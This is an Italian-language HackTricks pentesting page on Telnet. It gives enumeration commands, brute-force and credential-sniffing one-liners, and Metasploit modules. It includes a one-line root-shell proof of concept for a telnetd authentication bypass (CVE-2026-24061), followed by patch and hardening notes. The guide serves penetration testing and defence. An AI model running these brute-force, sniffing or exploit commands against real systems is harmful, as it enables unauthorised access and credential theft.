23 - Pentesting Telnet
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Informazioni di base
Telnet è un protocollo di rete che fornisce agli utenti un modo non sicuro per accedere a un computer tramite una rete.
Default port: 23
23/tcp open telnet
Enumerazione
Banner Grabbing
nc -vn <IP> 23
Tutte le enumerazioni interessanti possono essere eseguite con nmap:
nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>
Lo script telnet-ntlm-info.nse otterrà informazioni NTLM (versioni di Windows).
Dalla telnet RFC: Nel protocollo TELNET esistono varie “opzioni” che vengono autorizzate e possono essere utilizzate con la struttura “DO, DON’T, WILL, WON’T” per permettere a client e server di accordarsi sull’uso di un insieme di convenzioni più elaborate (o magari semplicemente diverse) per la loro connessione TELNET. Tali opzioni possono includere la modifica del set di caratteri, della modalità echo, ecc.
So che è possibile enumerare queste opzioni ma non so come, quindi fammi sapere se lo sai.
Enumerare le opzioni / funzionalità di Telnet
Telnet usa le negoziazioni IAC + DO/DONT/WILL/WONT per abilitare le opzioni. È possibile osservare le opzioni supportate catturando la negoziazione iniziale e sondando funzionalità specifiche.
Nmap option/feature probes
# Detect support for the Telnet ENCRYPT option
nmap -p 23 --script telnet-encryption <IP>
# Enumerate Microsoft Telnet NTLM info (NetBIOS/DNS/OS build)
nmap -p 23 --script telnet-ntlm-info <IP>
# Brute-force via NSE (alternative to Hydra/Medusa)
nmap -p 23 --script telnet-brute --script-args userdb=users.txt,passdb=pass.txt <IP>
Lo script telnet-encryption verifica se l’opzione ENCRYPT è supportata; alcune implementazioni storicamente gestivano questa opzione in modo errato ed erano vulnerabili, ma lo script verifica solo il supporto.
telnet-ntlm-info rivela metadati NTLM (NetBIOS/DNS/OS build) quando Microsoft Telnet NTLM è abilitato.
telnet-brute è un auditor NSE di brute-force per Telnet.
Brute force
File di configurazione
/etc/inetd.conf
/etc/xinetd.d/telnet
/etc/xinetd.d/stelnet
HackTricks Comandi Automatici
Protocol_Name: Telnet #Protocol Abbreviation if there is one.
Port_Number: 23 #Comma separated if there is more than one.
Protocol_Description: Telnet #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for t=Telnet
Note: |
wireshark to hear creds being passed
tcp.port == 23 and ip.addr != myip
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-telnet.html
Entry_2:
Name: Banner Grab
Description: Grab Telnet Banner
Command: nc -vn {IP} 23
Entry_3:
Name: Nmap with scripts
Description: Run nmap scripts for telnet
Command: nmap -n -sV -Pn --script "*telnet*" -p 23 {IP}
Entry_4:
Name: consoleless mfs enumeration
Description: Telnet enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/brocade_enable_login; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_encrypt_overflow; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_ruggedcom; set RHOSTS {IP}; set RPORT 23; run; exit'
Vulnerabilità recenti (2022-2026)
- CVE-2024-45698 – D-Link Wi-Fi 6 routers (DIR-X4860): Convalida dell’input non corretta nel servizio telnet permette ad attaccanti remoti di effettuare il login usando credenziali hard-coded e di iniettare comandi OS; corretto dal firmware 1.04B05 o successivo.
- CVE-2023-40478 – NETGEAR RAX30: Stack-based buffer overflow nel comando
passwddella Telnet CLI permette network-adjacent code execution come root; è richiesta autenticazione ma può essere bypassata. - CVE-2022-39028 – GNU inetutils telnetd: Una sequenza di due byte (
0xff 0xf7/0xff 0xf8) può causare una dereferenziazione NULL-pointer intelnetd, e crash ripetuti possono portare inetd a disabilitare il servizio (DoS).
Tieni a mente queste CVE durante la triage delle vulnerabilità—se il target esegue un firmware non aggiornato o un demone Telnet inetutils legacy potresti avere una via diretta verso code-execution o un DoS distruttivo.
CVE-2026-24061 — GNU Inetutils telnetd bypass dell’autenticazione (Critico)
Primitive: Telnet NEW_ENVIRON permette ai client di inviare variabili d’ambiente durante la negoziazione delle opzioni; inetutils telnetd sostituisce %U nel suo template di login con getenv("USER") e lo passa direttamente a /usr/bin/login, abilitando argv-level option injection (no shell expansion).
Root cause: le versioni 1.9.3–2.7 espandono %U senza filtraggio, quindi un valore USER che inizia con - viene interpretato come flag per login. Per esempio, %U diventa -f root, producendo /usr/bin/login -h <hostname> "-f root" e saltando l’autenticazione via login -f.
Exploit flow:
- Collegarsi al servizio Telnet e negoziare NEW_ENVIRON per impostare
USER=-f root. telnetdcostruisce l’argv di login includendo il valore%Ucontrollato dall’attaccante./usr/bin/logininterpreta-f rootcome “pre-authenticated user root” e avvia una shell di root.
PoC
# Inject USER via NEW_ENVIRON and obtain a root shell
USER='-f root' telnet -a <ip>
Nota sulla patch: inetutils 2.7-2 introduce un helper sanitize() che rifiuta valori che iniziano con - o che contengono spazi/metacaratteri prima di sostituirli nell’argv di login, bloccando option injection.
Rilevamento/verifica: identificare i demoni esposti con telnetd --version, dpkg -l | grep inetutils, systemctl status inetutils-telnetd, o netstat -tlnp | grep :23.
Mitigazioni
- Patch/upgrade applicare immediatamente ai pacchetti interessati (ad esempio, le correzioni Debian sono in
2:2.4-2+deb12u2,2:2.6-3+deb13u1, e2:2.7-2). - Disabilitare Telnet o limitare l’accesso alle reti di gestione fidate durante l’applicazione della patch.
Sniffing Credentials & Man-in-the-Middle
Telnet trasmette tutto, incluse le credenziali, in testo in chiaro. Due modi rapidi per catturarle:
# Live capture with tcpdump (print ASCII)
sudo tcpdump -i eth0 -A 'tcp port 23 and not src host $(hostname -I | cut -d" " -f1)'
# Wireshark display filter
tcp.port == 23 && (telnet.data || telnet.option)
Per un MITM attivo, combina ARP spoofing (es. arpspoof/ettercap) con gli stessi sniffing filters per raccogliere password sulle reti switched.
Automated Brute-force / Password Spraying
# Hydra (stop at first valid login)
hydra -L users.txt -P rockyou.txt -t 4 -f telnet://<IP>
# Ncrack (drop to interactive session on success)
ncrack -p 23 --user admin -P common-pass.txt --connection-limit 4 <IP>
# Medusa (parallel hosts)
medusa -M telnet -h targets.txt -U users.txt -P passwords.txt -t 6 -f
Most IoT botnets (Mirai variants) continuano a scansionare il port 23 usando piccoli dizionari di credenziali predefinite—replicare questa logica può identificare rapidamente dispositivi deboli.
Exploitation & Post-Exploitation
Metasploit ha diversi moduli utili:
auxiliary/scanner/telnet/telnet_version– enumerazione di banner e opzioni.auxiliary/scanner/telnet/brute_telnet– multithreaded bruteforce.auxiliary/scanner/telnet/telnet_encrypt_overflow– RCE contro Telnet vulnerabile di Solaris 9/10 (gestione dell’opzione ENCRYPT).exploit/linux/mips/netgear_telnetenable– abilita il servizio telnet con un pacchetto creato ad hoc su molti router NETGEAR.
Dopo aver ottenuto una shell, ricorda che TTYs are usually dumb; esegui l’upgrade con python -c 'import pty;pty.spawn("/bin/bash")' o usa i HackTricks TTY tricks.
Hardening & Detection (Blue team corner)
- Preferisci SSH e disabilita completamente il servizio Telnet.
- Se Telnet è richiesto, limitane l’uso alle management VLAN, applica ACL e avvolgi il daemon con TCP wrappers (
/etc/hosts.allow). - Sostituisci le implementazioni legacy di
telnetdconssl-telnetotelnetd-sslper aggiungere la cifratura del trasporto, ma this only protects data-in-transit—password-guessing remains trivial. - Monitora il traffico in uscita verso port 23; le compromissioni spesso avviano reverse shells su Telnet per bypassare strict-HTTP egress filters.
References
- OffSec – CVE-2026-24061 – GNU InetUtils telnetd Authentication Bypass Vulnerability
- Inetutils sanitize() fix (ccba9f748aa8d50a38d7748e2e60362edd6a32cc)
- NVD – CVE-2026-24061
- Debian Security Tracker – CVE-2026-24061
- Canadian Centre for Cyber Security Alert AL26-002 (CVE-2026-24061)
- NVD – CVE-2022-39028 inetutils
telnetdDoS - NVD – CVE-2024-45698 D-Link DIR-X4860 Telnet RCE
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.


